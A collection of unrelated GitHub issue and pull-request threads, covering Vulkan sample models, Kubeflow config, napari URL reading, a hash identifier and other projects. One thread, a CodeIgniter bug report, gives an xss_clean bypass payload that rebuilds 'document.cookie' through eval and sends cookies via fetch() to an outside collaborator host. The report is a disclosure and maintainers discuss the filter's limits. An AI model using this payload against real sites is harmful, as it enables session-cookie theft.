@Radagan We switched to Vulkan 1.3 at some point and I don't think we went back to make sure all chapters were validation error free. We also tested on devices that supported all the extensions we use. While we tried to safeguard unsupported extension use, some cases might have slipped through. Some chapters (i.e. the ones on ray-tracing) do need the extensions we request and won't work on devices that don't support those extensions.
@jatobu Sponza is the default model and the one we tested more extensively with. Flight Helmet is another one, but we didn't go through all of the glTF models in the sample repo. It's hard to show the impact of some techniques on some of the smaller models, which is why we default to Sponza.
For both cases, please feel free to report the issues you encounter or create a PR to fix the issue. We'll get to them as soon as we can.

@theWatchmen Thank you. I just wanted to make sure 1.3 was okay. I agree with @OptimisticMonkey that with a topic like Vulkan working examples are critical to validating what is being learned, or risk obscuring with doubt that you have learned the lesson correctly!

@theWatchmen Oh, I see... at the end of Chapter1 the book says we should see by default the Flight Helmet and after running it and seeing Sponza made me think something was wrong, and after going through all the other chapters and seeing the same Sponza I thought something was broken somewhere.
Anyway, after adding  the Flight Helmet manually and changeing scale I finally can see it as intended.
@OptimisticMonkey pass the Flight Helmet path as an argument, and change these lines and should do the trick:
576:    vec3s eye = vec3s{ 0.0f, 1.5f, 2.0f };
583:    float model_scale = 3.50f;

Thanks @jatobu !  I will try it with the helmet!  I tried several other models - most of the models wont work if you try them - glad to know there is at least one other one.  Out of curiosity, do you know if the helmet has three textures defined on it?

For those interested, I stumbled onto a great gltf viewer:
https://github.com/SaschaWillems/Vulkan-glTF-PBR
BTW - Looks like the gltf format itself specifies the correct camera/scene/scale stuff in it.  That way you can read in the correct eye position, scale, and projection stuff without guessing

@jatobu You don't need to modify the code to change the global scale, there is an imgui widget in the first chapter to do that :)
@OptimisticMonkey we did fix it in later chapters (can't remember if from chapter 2 or later), so the models that do work will have the right scale. We'll backport these fixes to the early chapters as soon as we can.

@OptimisticMonkey, Yes, Sascha's repos are really helpful. But he uses tinygltfloader, which I had a lot of trouble using. It parses the format fine, but I had difficulty making basic scale, position, and rotation changes to composite more than one gltf object on the screen. I'm following the advice in this book and trying to decide between cgltf and libgltf. Not sure which is the best to use for my modern C++ project. Any and all advice welcome!

I fixed chapter 1 to load as many glTF models as possible. We still don't handle the following:

transparency
index format other than U16 or U32
extensions
meshes with no material

Transparency has been added in later chapters, an the other cases are relatively rare or used only for very simple tests.
I am going to consider this as resolved, but feel free to re-open if needed.

Thanks Marco!  Worked great with the gltf files I tested :-)


Remove multiuser Config

Some environment variables were enabling multiuser isolation which we aren't supporting currently on Charmed Kubeflow.
This should fix this bug: https://bugs.launchpad.net/kubeflow-bundle/+bug/1929248
More information on multiuser isolation in pipelines here

LGTM +1


XSS_clean function bypass

Describe the bug
It is possible to bypass the xss_clean filter for the document.cookie and possibly other dangerous calls.
CodeIgniter version
I found this while doing a blackbox penetration test, so I'm not sure about the version used. The client however said it is an  updated version.
Affected module(s)
Security module --> XSS filtering
Expected behavior, and steps to reproduce:
When sending document.cookie, the filter will replace it with [removed].
This can be bypassed by using the following payload eval(String.fromCharCode(100)+"ocument.cooki"+String.fromCharCode(101))
In case of an XSS attack, it is possible to exfiltrate session cookies using this payload
FULL PAYLOAD: fetch('https://vutmfifgmmw7ky6ny2zfsb4n2e84wt.burpcollaborator.net', { method: 'POST', mode: 'no-cors', body:eval(String.fromCharCode(100)+"ocument.cooki"+String.fromCharCode(101)) });

Can you provide a more concrete example?
If what you've shown is simply printed as text on a page, there's no XSS, and that's what xss_clean() is for. As much as I wish that was possible, it can't magically protect against everything in every context.

While doing a black box pentest, I found an XSS on the website hosting CI3. When I tried to use the above FULL PAYLOAD with "document.cookie", it was replaced with [removed] and the exploitation did not work. However, when I obfuscated the payload using eval (as seen in the FULL PAYLOAD above), the exploitation was successful and I managed to obtain session cookies.
I think the XSS_clean function should filter out the eval function here.

Um ... This is hardly the example I asked for, but I guess it answers my question in a way.

What's the point of filtering document.cookie if anyone can use a fixed payload to bypass it?

document.cookie isn't something that we can protect - that's the point. That's arbitrary JavaScript, whereas xss_clean() is meant for content that will simply be printed on an HTML page.
When I said it can't magically protect against everything, I didn't mean that it can help against basic exploits, but not advanced - that's pointless. What I meant is that it can protect you in an HTML context, clean up URLs, etc., but not in JavaScript code context.


Invalid user input

added UserInterface class and methods
added validation for user_input if in range 1-9 and if is a string that is not a valid number
moved get_user_input to UserInterface
injecting UI
refactored
moved Board tests from Game to Board

My feedback is pretty minor. One thing that I always struggle with but is worth thinking about is, should a UI class be responsible for all of that validation logic? The struggle for me here is always, okay but where do I put the validation logic then?  It does as little as it needs to handle its own implementation for getting input and, um, outputting(?) output.
Some of the logic in this class seems specific to IO. Some of it seems more like business logic (i.e. validation rules) that is independent of the choice of IO.

Hmm...this is a good point.  I guess the question would be, should I extract the validation/business logic and move that into a...Business Logic class of some kind??  and then the UI only takes gets the input and returns it?


Any tips and tricks on how to figure out why most of my pictures got discarded?

I have run elodie for the first time in its default configuration (on Windows). My source folder contains 13613 files in 156 folders.  After running the program there is 983 files in 244 folders in the destination folder.
My pictures are a mess and there are many duplicates but there should be more than 983 unique pictures. It surprises me that the final number is this low.
Any tips and tricks on how to figure out why 12K pictures got discarded and how to validate that I am not missing pictures?
Is there a migration report or similar?

There's a summary that should be printed once the command completes
Can you delete the ~/.elodie/hash.json file and run it again with the --debug flag while saving the output? You can do this by redirecting the output like so.
./elodie.py --debug [........ your command params ..........] > output.log

The output should indicate the failures and duplicates. If you're unable to pinpoint the exact cause then it would be helpful to do the following.

Share one of the photos and associated errors which should be in the output.
Upload the output with any sensitive information removed and share a link. You can try https://pastebin.com/ or email it to jaisen@[my github username].com.

I dont know how to run the command with "> output.log" at the end


Create a sampler that runs Playwright test and yields sampler trees

Example of this running with the contosotraders test suite


HDDS-2124. Random next links

What changes were proposed in this pull request?
Assign weights to pages to ensure correct order.
https://issues.apache.org/jira/browse/HDDS-2124
How was this patch tested?
Generated docs, verified order.

/label ozone

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

0
reexec
1159
Docker mode activated.

_ Prechecks _

+1
dupname
0
No case conflicting files found.

+1
@author
0
The patch does not contain any @author tags.

_ trunk Compile Tests _

-1
mvninstall
34
hadoop-ozone in trunk failed.

+1
mvnsite
0
trunk passed

+1
shadedclient
912
branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

-1
mvninstall
34
hadoop-ozone in the patch failed.

+1
mvnsite
0
the patch passed

+1
whitespace
0
The patch has no whitespace issues.

+1
shadedclient
680
patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1
asflicense
34
The patch does not generate ASF License warnings.

3033

Subsystem
Report/Notes

Docker
Client=19.03.1 Server=19.03.1 base: https://builds.apache.org/job/hadoop-multibranch/job/PR-1443/1/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/1443

Optional Tests
dupname asflicense mvnsite

uname
Linux 659f01becfde 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
personality/hadoop.sh

git revision
trunk / 6a9f7ca

mvninstall
https://builds.apache.org/job/hadoop-multibranch/job/PR-1443/1/artifact/out/branch-mvninstall-hadoop-ozone.txt

mvninstall
https://builds.apache.org/job/hadoop-multibranch/job/PR-1443/1/artifact/out/patch-mvninstall-hadoop-ozone.txt

Max. process+thread count
446 (vs. ulimit of 5500)

modules
C: hadoop-hdds/docs U: hadoop-hdds/docs

Console output
https://builds.apache.org/job/hadoop-multibranch/job/PR-1443/1/console

versions
git=2.7.4 maven=3.3.9

Powered by
Apache Yetus 0.10.0 http://yetus.apache.org

This message was automatically generated.

Thanks @elek for checking and merging.


Error using read_data_with_plugins with a URL

🐛 Bug
I'm getting an odd error when trying to use napari.plugins.io.read_data_with_plugins with a URL. Reading the same file available locally is working fine.
To Reproduce
Steps to reproduce the behavior:
from napari.plugins.io import read_data_with_plugins

# Works fine
file = '/Users/dstansby/Downloads/ch00000.tif'
read_data_with_plugins([file])

# Errors
url = 'https:/raw.githubusercontent.com/brainglobe/cellfinder/master/tests/data/integration/detection/crop_planes/ch0/ch00000.tif'
read_data_with_plugins([url])

Error message:
Traceback (most recent call last):
  File "/Users/dstansby/projects/napari/napari/napari/plugins/io.py", line 118, in read_data_with_plugins
    layer_data = reader(npe1_path)  # try to read data
  File "/Users/dstansby/projects/napari/napari/napari/types.py", line 144, in reader_function
    result = func(*args, **kwargs)
  File "/Users/dstansby/projects/napari/napari/napari/utils/io.py", line 244, in magic_imread
    image = imread(filename)
  File "/Users/dstansby/projects/napari/napari/napari/utils/io.py", line 137, in imread
    return tifffile.imread(filename)
  File "/Users/dstansby/mambaforge/envs/napari/lib/python3.9/site-packages/tifffile/tifffile.py", line 908, in imread
    with TiffFile(files, **kwargs_file) as tif:
  File "/Users/dstansby/mambaforge/envs/napari/lib/python3.9/site-packages/tifffile/tifffile.py", line 3202, in __init__
    fh = FileHandle(arg, mode=mode, name=name, offset=offset, size=size)
  File "/Users/dstansby/mambaforge/envs/napari/lib/python3.9/site-packages/tifffile/tifffile.py", line 10536, in __init__
    self.open()
  File "/Users/dstansby/mambaforge/envs/napari/lib/python3.9/site-packages/tifffile/tifffile.py", line 10549, in open
    self._fh = open(self._file, self._mode)
FileNotFoundError: [Errno 2] No such file or directory: '/Users/dstansby/projects/napari/cellfinder-napari/https:/raw.githubusercontent.com/brainglobe/cellfinder/master/tests/data/integration/detection/crop_planes/ch0/ch00000.tif'

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/Users/dstansby/projects/napari/cellfinder-napari/test_sample.py", line 1, in <module>
    from cellfinder_napari.sample_data import get_sample_data
  File "/Users/dstansby/projects/napari/cellfinder-napari/cellfinder_napari/sample_data.py", line 7, in <module>
    read_data_with_plugins([url])
  File "/Users/dstansby/projects/napari/napari/napari/plugins/io.py", line 121, in read_data_with_plugins
    raise PluginCallError(result.implementation, cause=exc) from exc
napari_plugin_engine.exceptions.PluginCallError: Error in plugin 'builtins', hook 'napari_get_reader': [Errno 2] No such file or directory: '/Users/dstansby/projects/napari/cellfinder-napari/https:/raw.githubusercontent.com/brainglobe/cellfinder/master/tests/data/integration/detection/crop_planes/ch0/ch00000.tif'

Expected behavior
File is downloaded and loaded with no error.
Environment
napari version '0.4.16.dev14+g67556aaf'
Additional context

Hi @dstansby, Thank you for reporting this bug. However, as of now the default implementation for reading tiff does not support reading a URL with HTTP/HTTPS protocol. I went back and checked the history versions and it seems we never supported using a remote URL.
In the documentation for this method, there is indeed mention of using a URL, but it seems this URL is referring to a local address instead of a remote location using HTTP/HTTPS protocol.
@tlambert03 If you can confirm ^ is correct, I can update the documentation of this method to clarify the URL part

@potating-potato
I think the issue here is not about our builtin reader support for tiff URLs, but the fact that the local file system is being prepended to the url before passing to plugins

Yes, it looks odd.... I thought I would post and see if anyone had any immediate ideas, but I can spend some time debugging and working out what's going on myself today.

Somewhere down the call stack napari.utils.io.magic_imread is being identified as being capable of reading the URL, but a look at the source code indicates it isn't. I think fixing this errornous identification will then propagate through to https://github.com/napari/napari/blob/9355fdbea01dbec6f01a9ff6409fc67825598e27/napari/plugins/io.py#L123
and a nice "no plugin found" error message will be raised.

thanks @dstansby!  See comment over in https://github.com/napari/napari/pull/4284#issuecomment-1072319473 ... it's a little bit more complicated than that.  it's just tiffs that don't work for urls.  the imageio fallback will work for non-tiff urls


Various elements need updating to reflect options only available on SP Enterprise

Various issues as discussed by the TAM team and Ewan

There are a number of areas where the experience of SparkPost Enterprise customers is not completely reflected in the API documentation. Most of this relates to the way that IP pool creation and selection works differently between the two systems, and the way the sending domains verification works but there are quite a few other small suggested changes.


Add VeraCrypt / TrueCrypt

There are tons of variants listed at https://hashcat.net/wiki/doku.php?id=example_hashes

Hey! Can you please assign this issue to me.
I would love to contribute!

Thanks, You can work on it.

Do I need to add all the variants for VeraCrypt and TrueCrypt?
Also, I updated the prototypes.json but not getting the result when running the tool, even though while debugging I get the VeraCrypt varient  --> puts HashIdentifier::PROTOTYPES.inspect
need a little help or direction..

You can see on the documentation page https://noraj.github.io/haiti/#/pages/install in the Development section on the No install tab. How you can run the library or CLI app on the way while developing without installing it. You can also use binding.irb for debugging. You can also check your regexp are working online on https://regex101.com/ before coding.

Thank you for guiding me
I'm still new to Ruby and might have missed a few things, but I wanted to contribute to the repo. I'll definitely use your tips as I continue to learn and contribute

@Abhinandan-Khurana Have you been able to work on this?

[x] VC HC f70bdeafd9ba88b14523f31013a78e243f18b40f
[x] TC HC 82bf5da2b78a5b82bcd9efaac72c887a2e8dc0d6
[ ] TC JtR

Yes, I have done it, I'll do a pull request.
Sorry for the late reply.


Rename source.name to source.label?

@mjhenkes pointed out that for sources we use name but links and suggestions use label for effectively the same thing. I propose we rename source.name to source.label for API consistency.
👍 👎  requested from @jmandel & @isaacvetter before I start implementing this change

In addition to renaming source.name to source.label, I also want to add an explicit section that says "Each Source is described by the following attributes.", similar to what we have for Suggestions and Links

:thumbsup: Makes sense.

Yes, I think consistency is a win here!

Fixed in the api at https://github.com/cds-hooks/api/commit/3efbc6ae0e99be194ab025f4f546e02acfba7e74


Is the code runtime environment Windows or ubuntu?

We only ran on Ubuntu. Maybe there are small issues on Windows, but it shouldn't be too hard to make it work.


FileManager fails to enumerate files if path is ./

Background
When source folder is ./ in coherent-swift.yml and flag --diffs isn't used, the list of files is retrieved through:
FileManager.default.enumerator(atPath: "absolute/folder/path/of/coherent-swift-spec/")

Issue
In this case, even with a valid path, the enumerator output is empty.
Temporary workaround
If source is specified as ../folder instead of ./, it works accordingly.

The pull request #37 that closed this issue was merged and released as part of Release 0.5.2 :rocket:
Please let us know if the functionality works as expected as a reply here. If it does not, please open a new issue. Thanks!Generated by GitBuddy


animated logo

https://github.com/Kritika30032002/Top_Secrets/assets/68018372/3bbe3145-3419-4b73-be9d-503005bfe0eb
Here's a sample of the animated logo
@Kritika30032002 this fixes issue #87 and I feel like this animation is in sync with the original website

not suitable
you can go with other issues


snippets/markdown/image/edgetpu/python.md Opencv example code doesn't swap color to BGR2RGB

The example EdgeTPU python code uses cv2.VideoCapture but doesn't convert from the default BGR format. Should the code have something like frame_rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) before the classifier is called?

This issue still exists. The mentioned code line should be added after camera.read() to the example code for convenience.